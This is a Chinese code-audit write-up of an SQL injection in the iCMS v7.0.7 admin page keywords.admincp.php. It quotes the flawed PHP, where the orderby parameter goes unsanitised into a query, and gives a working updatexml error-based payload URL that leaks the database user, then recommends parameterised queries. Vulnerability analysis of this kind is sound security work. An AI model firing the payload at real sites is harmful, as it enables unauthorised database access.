【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析

时间:2023-03-09 00:32:20
【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析

 

0x00 环境准备

iCMS官网:https://www.icmsdev.com

网站源码版本:iCMS-v7.0.7

程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest

默认后台地址:http://127.0.0.1/admincp.php

默认账号密码:用户名密码自设

测试网站首页:

【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析

0x01 代码分析

1、漏洞文件位置:/app/keywords/keywords.admincp.php 第74-85行:

  1. public function do_iCMS(){
  2. if($_GET['keywords']) {
  3. $sql=" WHERE `keyword` REGEXP '{$_GET['keywords']}'";
  4. }
  5. $orderby  =$_GET['orderby']?$_GET['orderby']:"id DESC";
  6. $maxperpage = $_GET['perpage']>0?(int)$_GET['perpage']:20;
  7. $total      = iCMS::page_total_cache("SELECT count(*) FROM `#iCMS@__keywords` {$sql}","G");
  8. iUI::pagenav($total,$maxperpage,"个关键词");
  9. $rs     = iDB::all("SELECT * FROM `#iCMS@__keywords` {$sql} order by {$orderby} LIMIT ".iUI::$offset." , {$maxperpage}");
  10. 10.       $_count = count($rs);
  11. 11.     include admincp::view("keywords.manage");
  12. 12.   }

 

这段函数中将获取到的参数keywords、orderby、parpage,然后进行SQL语句拼接,其中keywords有单引号保护,parpage强制转换为数字类型,orderby参数未经任何处理,带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

0x02 漏洞利用

根据漏洞位置,构造出参数 Payload:

http://127.0.0.1/admincp.php?app=keywords&perpage=20&keywords=1111&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))--

【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析

0x03 修复建议

使用参数化查询可有效避免SQL注入

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析